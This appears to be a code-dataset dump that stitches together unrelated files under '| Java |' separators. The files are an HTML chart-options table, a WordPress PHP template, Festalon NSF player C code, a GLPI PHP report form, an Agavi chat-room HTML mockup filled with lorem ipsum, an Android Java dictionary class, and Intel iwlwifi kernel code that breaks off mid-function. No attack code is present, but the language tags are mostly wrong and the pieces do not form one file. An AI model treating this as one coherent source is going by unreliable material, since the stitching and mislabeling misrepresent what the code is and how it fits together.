<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
</TR>
<TR>
<TD HEIGHT=17 ALIGN=LEFT><FONT SIZE=1 COLOR="#999999">showXAxis</FONT></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><BR></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><BR></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><BR></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><BR></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><BR></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><BR></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><BR></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><BR></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B>X</B></TD>
</TR>
<TR>
<TD HEIGHT=17 ALIGN=LEFT><FONT SIZE=1 COLOR="#999999">showYAxis</FONT></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><BR></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><BR></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><BR></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><BR></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><BR></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><BR></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><BR></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><BR></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B>X</B></TD>
</TR>
<TR>
<TD HEIGHT=17 ALIGN=LEFT><FONT SIZE=1 COLOR="#999999">staggerLabels</FONT></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B>X</B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B>X</B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
</TR>
<TR>
<TD HEIGHT=17 ALIGN=LEFT><FONT SIZE=1 COLOR="#999999">tooltips</FONT></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B>X</B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B>X</B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B>X</B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B>X</B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B>X</B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
</TR>
<TR>
<TD HEIGHT=17 ALIGN=LEFT><FONT SIZE=1 COLOR="#999999">transitionDuration</FONT></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B>X</B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B>X</B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B>X</B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B>X</B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B>X</B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B>X</B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B>X</B></TD>
</TR>
<TR>
<TD HEIGHT=17 ALIGN=LEFT><FONT SIZE=1 COLOR="#999999">useInteractiveGuideline</FONT></TD>
<TD STYLE="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B>X</B></TD>
<TD STYLE="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B>X</B></TD>
<TD STYLE="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B>X</B></TD>
</TR>
</TBODY>
</TABLE>
<!-- ************************************************************************** -->
</BODY>
</HTML>
| Java |
<?php
global $post, $sc_post_class;
$post_id = $post->ID;
$post_obj = new sc_post($post_id);
$post_comments = get_comments_number( $post_id );
?>
<!--item-->
<div class="entry <?php echo esc_attr( $sc_post_class ); ?> post-item">
<?php
$main_image = $post_obj->get_main_image('thumb-image');
if (!empty( $main_image ) ) { ?>
<figure>
<img src="<?php echo esc_url ( $main_image ); ?>" alt="<?php the_title(); ?>" />
<figcaption><a href="<?php echo esc_url ( $post_obj->get_permalink() ); ?>"><i class="ico eldorado_eyelash"></i> <span><?php _e('View post', 'socialchef'); ?></span></a></figcaption>
</figure>
<?php } ?>
<div class="container">
<h2><a href="<?php echo esc_url ( $post_obj->get_permalink() ); ?>"><?php the_title(); ?></a></h2>
<div class="actions">
<div>
<div class="date"><i class="ico eldorado_calendar_1"></i><?php the_time('F j, Y'); ?></div>
<div class="comments"><i class="ico eldorado_comment_baloon"></i><a href="<?php echo esc_url ( $post_obj->get_permalink() ); ?>#comments"><?php echo $post_comments; ?></a></div>
</div>
</div>
<div class="excerpt">
<?php the_excerpt(); ?>
</div>
</div>
</div>
<!--item--> | Java |
/* Festalon - NSF Player
* Copyright (C) 2004 Xodnizel
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
#include <string.h>
#include <stdlib.h>
#include "../types.h"
#include "x6502.h"
#include "cart.h"
#include "memory.h"
/* 16 are (sort of) reserved for UNIF/iNES and 16 to map other stuff. */
static INLINE void setpageptr(NESCART *ca, int s, uint32 A, uint8 *p, int ram)
{
uint32 AB=A>>11;
int x;
if(p)
for(x=(s>>1)-1;x>=0;x--)
{
ca->PRGIsRAM[AB+x]=ram;
ca->Page[AB+x]=p-A;
}
else
for(x=(s>>1)-1;x>=0;x--)
{
ca->PRGIsRAM[AB+x]=0;
ca->Page[AB+x]=0;
}
}
static uint8 nothing[8192];
void FESTAC_Kill(NESCART *ca)
{
free(ca);
}
NESCART *FESTAC_Init(void)
{
int x;
NESCART *ca;
if(!(ca=malloc(sizeof(NESCART)))) return(0);
memset(ca,0,sizeof(NESCART));
for(x=0;x<32;x++)
{
ca->Page[x]=nothing-x*2048;
ca->PRGptr[x]=0;
ca->PRGsize[x]=0;
}
return(ca);
}
void FESTAC_SetupPRG(NESCART *ca, int chip, uint8 *p, uint32 size, int ram)
{
ca->PRGptr[chip]=p;
ca->PRGsize[chip]=size;
ca->PRGmask2[chip]=(size>>11)-1;
ca->PRGmask4[chip]=(size>>12)-1;
ca->PRGmask8[chip]=(size>>13)-1;
ca->PRGmask16[chip]=(size>>14)-1;
ca->PRGmask32[chip]=(size>>15)-1;
ca->PRGram[chip]=ram?1:0;
}
DECLFR(CartBR)
{
NESCART *ca=private;
return ca->Page[A>>11][A];
}
DECLFW(CartBW)
{
NESCART *ca=private;
if(ca->PRGIsRAM[A>>11] && ca->Page[A>>11])
ca->Page[A>>11][A]=V;
}
DECLFR(CartBROB)
{
NESCART *ca=private;
if(!ca->Page[A>>11]) return(DB);
return ca->Page[A>>11][A];
}
void FASTAPASS(3) setprg2r(NESCART *ca, int r, unsigned int A, unsigned int V)
{
V&=ca->PRGmask2[r];
setpageptr(ca,2,A,ca->PRGptr[r]?(&ca->PRGptr[r][V<<11]):0,ca->PRGram[r]);
}
void FASTAPASS(2) setprg2(NESCART *ca, uint32 A, uint32 V)
{
setprg2r(ca,0,A,V);
}
void FASTAPASS(3) setprg4r(NESCART *ca, int r, unsigned int A, unsigned int V)
{
V&=ca->PRGmask4[r];
setpageptr(ca,4,A,ca->PRGptr[r]?(&ca->PRGptr[r][V<<12]):0,ca->PRGram[r]);
}
void FASTAPASS(2) setprg4(NESCART *ca, uint32 A, uint32 V)
{
setprg4r(ca,0,A,V);
}
void FASTAPASS(3) setprg8r(NESCART *ca, int r, unsigned int A, unsigned int V)
{
if(ca->PRGsize[r]>=8192)
{
V&=ca->PRGmask8[r];
setpageptr(ca,8,A,ca->PRGptr[r]?(&ca->PRGptr[r][V<<13]):0,ca->PRGram[r]);
}
else
{
uint32 VA=V<<2;
int x;
for(x=0;x<4;x++)
setpageptr(ca,2,A+(x<<11),ca->PRGptr[r]?(&ca->PRGptr[r][((VA+x)&ca->PRGmask2[r])<<11]):0,ca->PRGram[r]);
}
}
void FASTAPASS(2) setprg8(NESCART *ca, uint32 A, uint32 V)
{
setprg8r(ca,0,A,V);
}
void FASTAPASS(3) setprg16r(NESCART *ca, int r, unsigned int A, unsigned int V)
{
if(ca->PRGsize[r]>=16384)
{
V&=ca->PRGmask16[r];
setpageptr(ca,16,A,ca->PRGptr[r]?(&ca->PRGptr[r][V<<14]):0,ca->PRGram[r]);
}
else
{
uint32 VA=V<<3;
int x;
for(x=0;x<8;x++)
setpageptr(ca,2,A+(x<<11),ca->PRGptr[r]?(&ca->PRGptr[r][((VA+x)&ca->PRGmask2[r])<<11]):0,ca->PRGram[r]);
}
}
void FASTAPASS(2) setprg16(NESCART *ca, uint32 A, uint32 V)
{
setprg16r(ca,0,A,V);
}
void FASTAPASS(3) setprg32r(NESCART *ca, int r,unsigned int A, unsigned int V)
{
if(ca->PRGsize[r]>=32768)
{
V&=ca->PRGmask32[r];
setpageptr(ca,32,A,ca->PRGptr[r]?(&ca->PRGptr[r][V<<15]):0,ca->PRGram[r]);
}
else
{
uint32 VA=V<<4;
int x;
for(x=0;x<16;x++)
setpageptr(ca,2,A+(x<<11),ca->PRGptr[r]?(&ca->PRGptr[r][((VA+x)&ca->PRGmask2[r])<<11]):0,ca->PRGram[r]);
}
}
void FASTAPASS(2) setprg32(NESCART *ca, uint32 A, uint32 V)
{
setprg32r(ca,0,A,V);
}
| Java |
<div class='result'>
add task success<br />
{{task}}<br />
<a href='show'>check</a>
</div>
| Java |
<?php
/**
* ---------------------------------------------------------------------
* GLPI - Gestionnaire Libre de Parc Informatique
* Copyright (C) 2015-2020 Teclib' and contributors.
*
* http://glpi-project.org
*
* based on GLPI - Gestionnaire Libre de Parc Informatique
* Copyright (C) 2003-2014 by the INDEPNET Development Team.
*
* ---------------------------------------------------------------------
*
* LICENSE
*
* This file is part of GLPI.
*
* GLPI is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* GLPI is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with GLPI. If not, see <http://www.gnu.org/licenses/>.
* ---------------------------------------------------------------------
*/
include ('../inc/includes.php');
Session::checkRight("reports", READ);
Html::header(Report::getTypeName(Session::getPluralNumber()), $_SERVER['PHP_SELF'], "tools", "report");
Report::title();
// Titre
echo "<form name='form' method='post' action='report.year.list.php'>";
echo "<table class='tab_cadre_fixe'>";
echo "<tr><th colspan='4'>".__("Equipment's report by year")."</th></tr>";
// 3. Selection d'affichage pour generer la liste
echo "<tr class='tab_bg_2'>";
echo "<td width='20%' class='b center'>".__('Item type')."</td>";
echo "<td width='30%'>";
$values = [0 => __('All')];
foreach ($CFG_GLPI["contract_types"] as $itemtype) {
if ($item = getItemForItemtype($itemtype)) {
$values[$itemtype] = $item->getTypeName();
}
}
Dropdown::showFromArray('item_type', $values, ['value' => 0,
'multiple' => true]);
echo "</td>";
echo "<td width='20%' class='center'><p class='b'>"._n('Date', 'Dates', 1)."</p></td>";
echo "<td width='30%'>";
$y = date("Y");
$values = [ 0 => __('All')];
for ($i=($y-10); $i<($y+10); $i++) {
$values[$i] = $i;
}
Dropdown::showFromArray('year', $values, ['value' => $y,
'multiple' => true]);
echo "</td></tr>";
echo "<tr class='tab_bg_2'><td colspan='4' class='center'>";
echo "<input type='submit' value=\"".__s('Display report')."\" class='submit'></td></tr>";
echo "</table>";
Html::closeForm();
Html::footer();
| Java |
<div id="roomTitle">Welcome to Agavi :: home of the convention nazis :: 911GT2 coming soon :: http://www.agavi.org :: http://svn.agavi.org/branches/0.11/ if you want to use SVN (don't use trunk, earth will explode) :: Have a question? Just ask it, and wait patiently, because patience is the key to happiness :: We're looking for documentation contributors and developers :: http://trac.agavi.org/milestone/0.11 :: irc logs http://users.tkk.fi/~tjorri/agavi/logs</div>
<div id="watermark" class="transparent50"></div>
<div id="messages">
<table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="name"><a href="info">RossC0</a></td>
<td class="message">Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Sed eget nulla in lacus suscipit mattis. Vivamus non metus. Pellentesque eu urna sed pede dictum vulputate. Quisque enim nibh, vehicula ac, accumsan nec, sagittis aliquam, enim. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Nulla vitae nulla quis est mollis vulputate. Sed lacinia volutpat eros. Mauris cursus dui et nibh. Vestibulum erat nisi, ornare et, adipiscing nec, interdum ut, turpis. Nulla facilisi. Quisque tincidunt est. Etiam gravida pede vestibulum tellus. Vivamus sit amet leo. Integer hendrerit. Fusce et nisl nec ante aliquam vehicula. Etiam pretium tincidunt velit.</td>
<td class="time">00:16</td>
</tr>
<tr>
<td class="name" rowspan="2"><a href="info">kaos|work</a></td>
<td class="message">oh, and it would be cool if there was an easy way injecting my own code in every receive</td>
<td class="time">00:28</td>
</tr>
<tr>
<td class="message">or something which gets called in a regular timeframe</td>
<td class="time">00:29</td>
</tr>
<tr>
<td class="name" rowspan="2"><a href="info">impl</a></td>
<td class="message">timers</td>
<td class="time">00:29</td>
</tr>
<tr class="action">
<td class="message">got it</td>
<td class="time">00:29</td>
</tr>
<tr class="self">
<td class="name"><a href="info">Wombert</a></td>
<td class="message">is that so?</td>
<td class="time">00:32</td>
</tr>
<tr class="highlight">
<td class="name"><a href="info">v-dogg</a></td>
<td class="message">Wombert Zombert :)</td>
<td class="time">00:33</td>
</tr>
<tr>
<td class="name"><a href="info">RossC0</a></td>
<td class="message">Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Sed eget nulla in lacus suscipit mattis. Vivamus non metus. Pellentesque eu urna sed pede dictum vulputate. Quisque enim nibh, vehicula ac, accumsan nec, sagittis aliquam, enim. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Nulla vitae nulla quis est mollis vulputate. Sed lacinia volutpat eros. Mauris cursus dui et nibh. Vestibulum erat nisi, ornare et, adipiscing nec, interdum ut, turpis. Nulla facilisi. Quisque tincidunt est. Etiam gravida pede vestibulum tellus. Vivamus sit amet leo. Integer hendrerit. Fusce et nisl nec ante aliquam vehicula. Etiam pretium tincidunt velit.</td>
<td class="time">00:16</td>
</tr>
<tr class="event">
<td class="name"><a href="info">kaos|work</a></td>
<td class="message">has joined the channel</td>
<td class="time">00:23</td>
</tr>
<tr>
<td class="name" rowspan="2"><a href="info">kaos|work</a></td>
<td class="message">oh, and it would be cool if there was an easy way injecting my own code in every receive</td>
<td class="time">00:28</td>
</tr>
<tr>
<td class="message">or something which gets called in a regular timeframe</td>
<td class="time">00:29</td>
</tr>
<tr>
<td class="name" rowspan="2"><a href="info">impl</a></td>
<td class="message">timers</td>
<td class="time">00:29</td>
</tr>
<tr>
<td class="message">got it</td>
<td class="time">00:29</td>
</tr>
<tr class="self">
<td class="name"><a href="info">Wombert</a></td>
<td class="message">is that so?</td>
<td class="time">00:32</td>
</tr>
<tr class="highlight">
<td class="name"><a href="info">v-dogg</a></td>
<td class="message">Wombert Zombert :)</td>
<td class="time">00:33</td>
</tr>
<tr>
<td class="name"><a href="info">RossC0</a></td>
<td class="message">Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Sed eget nulla in lacus suscipit mattis. Vivamus non metus. Pellentesque eu urna sed pede dictum vulputate. Quisque enim nibh, vehicula ac, accumsan nec, sagittis aliquam, enim. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Nulla vitae nulla quis est mollis vulputate. Sed lacinia volutpat eros. Mauris cursus dui et nibh. Vestibulum erat nisi, ornare et, adipiscing nec, interdum ut, turpis. Nulla facilisi. Quisque tincidunt est. Etiam gravida pede vestibulum tellus. Vivamus sit amet leo. Integer hendrerit. Fusce et nisl nec ante aliquam vehicula. Etiam pretium tincidunt velit.</td>
<td class="time">00:16</td>
</tr>
<tr>
<td class="name" rowspan="2"><a href="info">kaos|work</a></td>
<td class="message">oh, and it would be cool if there was an easy way injecting my own code in every receive</td>
<td class="time">00:28</td>
</tr>
<tr>
<td class="message">or something which gets called in a regular timeframe</td>
<td class="time">00:29</td>
</tr>
<tr>
<td class="name" rowspan="2"><a href="info">impl</a></td>
<td class="message">timers</td>
<td class="time">00:29</td>
</tr>
<tr>
<td class="message">got it</td>
<td class="time">00:29</td>
</tr>
<tr class="self">
<td class="name"><a href="info">Wombert</a></td>
<td class="message">is that so?</td>
<td class="time">00:32</td>
</tr>
<tr class="highlight">
<td class="name"><a href="info">v-dogg</a></td>
<td class="message">Wombert Zombert :)</td>
<td class="time">00:33</td>
</tr>
<tr>
<td class="name"><a href="info">RossC0</a></td>
<td class="message">Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Sed eget nulla in lacus suscipit mattis. Vivamus non metus. Pellentesque eu urna sed pede dictum vulputate. Quisque enim nibh, vehicula ac, accumsan nec, sagittis aliquam, enim. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Nulla vitae nulla quis est mollis vulputate. Sed lacinia volutpat eros. Mauris cursus dui et nibh. Vestibulum erat nisi, ornare et, adipiscing nec, interdum ut, turpis. Nulla facilisi. Quisque tincidunt est. Etiam gravida pede vestibulum tellus. Vivamus sit amet leo. Integer hendrerit. Fusce et nisl nec ante aliquam vehicula. Etiam pretium tincidunt velit.</td>
<td class="time">00:16</td>
</tr>
<tr>
<td class="name" rowspan="2"><a href="info">kaos|work</a></td>
<td class="message">oh, and it would be cool if there was an easy way injecting my own code in every receive</td>
<td class="time">00:28</td>
</tr>
<tr>
<td class="message">or something which gets called in a regular timeframe</td>
<td class="time">00:29</td>
</tr>
<tr>
<td class="name" rowspan="2"><a href="info">impl</a></td>
<td class="message">timers</td>
<td class="time">00:29</td>
</tr>
<tr>
<td class="message">got it</td>
<td class="time">00:29</td>
</tr>
<tr class="self">
<td class="name"><a href="info">Wombert</a></td>
<td class="message">is that so?</td>
<td class="time">00:32</td>
</tr>
<tr class="highlight">
<td class="name"><a href="info">v-dogg</a></td>
<td class="message">Wombert Zombert :)</td>
<td class="time">00:33</td>
</tr>
</table>
</div>
| Java |
/*
* Copyright (C) 2012 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.androidtweak.inputmethod.myanmar;
import android.content.Context;
import com.androidtweak.inputmethod.keyboard.ProximityInfo;
public class SynchronouslyLoadedUserBinaryDictionary extends UserBinaryDictionary {
public SynchronouslyLoadedUserBinaryDictionary(final Context context, final String locale) {
this(context, locale, false);
}
public SynchronouslyLoadedUserBinaryDictionary(final Context context, final String locale,
final boolean alsoUseMoreRestrictiveLocales) {
super(context, locale, alsoUseMoreRestrictiveLocales);
}
@Override
public synchronized void getWords(final WordComposer codes,
final CharSequence prevWordForBigrams, final WordCallback callback,
final ProximityInfo proximityInfo) {
syncReloadDictionaryIfRequired();
getWordsInner(codes, prevWordForBigrams, callback, proximityInfo);
}
@Override
public synchronized boolean isValidWord(CharSequence word) {
syncReloadDictionaryIfRequired();
return isValidWordInner(word);
}
}
| Java |
/******************************************************************************
*
* This file is provided under a dual BSD/GPLv2 license. When using or
* redistributing this file, you may do so under either license.
*
* GPL LICENSE SUMMARY
*
* Copyright(c) 2012 - 2014 Intel Corporation. All rights reserved.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of version 2 of the GNU General Public License as
* published by the Free Software Foundation.
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110,
* USA
*
* The full GNU General Public License is included in this distribution
* in the file called COPYING.
*
* Contact Information:
* Intel Linux Wireless <ilw@linux.intel.com>
* Intel Corporation, 5200 N.E. Elam Young Parkway, Hillsboro, OR 97124-6497
*
* BSD LICENSE
*
* Copyright(c) 2012 - 2014 Intel Corporation. All rights reserved.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in
* the documentation and/or other materials provided with the
* distribution.
* * Neither the name Intel Corporation nor the names of its
* contributors may be used to endorse or promote products derived
* from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
*****************************************************************************/
#include <linux/etherdevice.h>
#include <linux/ip.h>
#include <linux/fs.h>
#include <net/cfg80211.h>
#include <net/ipv6.h>
#include <net/tcp.h>
#include <net/addrconf.h>
#include "iwl-modparams.h"
#include "fw-api.h"
#include "mvm.h"
void iwl_mvm_set_rekey_data(struct ieee80211_hw *hw,
struct ieee80211_vif *vif,
struct cfg80211_gtk_rekey_data *data)
{
struct iwl_mvm *mvm = IWL_MAC80211_GET_MVM(hw);
struct iwl_mvm_vif *mvmvif = iwl_mvm_vif_from_mac80211(vif);
if (iwlwifi_mod_params.sw_crypto)
return;
mutex_lock(&mvm->mutex);
memcpy(mvmvif->rekey_data.kek, data->kek, NL80211_KEK_LEN);
memcpy(mvmvif->rekey_data.kck, data->kck, NL80211_KCK_LEN);
mvmvif->rekey_data.replay_ctr =
cpu_to_le64(be64_to_cpup((__be64 *)&data->replay_ctr));
mvmvif->rekey_data.valid = true;
mutex_unlock(&mvm->mutex);
}
#if IS_ENABLED(CONFIG_IPV6)
void iwl_mvm_ipv6_addr_change(struct ieee80211_hw *hw,
struct ieee80211_vif *vif,
struct inet6_dev *idev)
{
struct iwl_mvm_vif *mvmvif = iwl_mvm_vif_from_mac80211(vif);
struct inet6_ifaddr *ifa;
int idx = 0;
read_lock_bh(&idev->lock);
list_for_each_entry(ifa, &idev->addr_list, if_list) {
mvmvif->target_ipv6_addrs[idx] = ifa->addr;
idx++;
if (idx >= IWL_PROTO_OFFLOAD_NUM_IPV6_ADDRS_MAX)
break;
}
read_unlock_bh(&idev->lock);
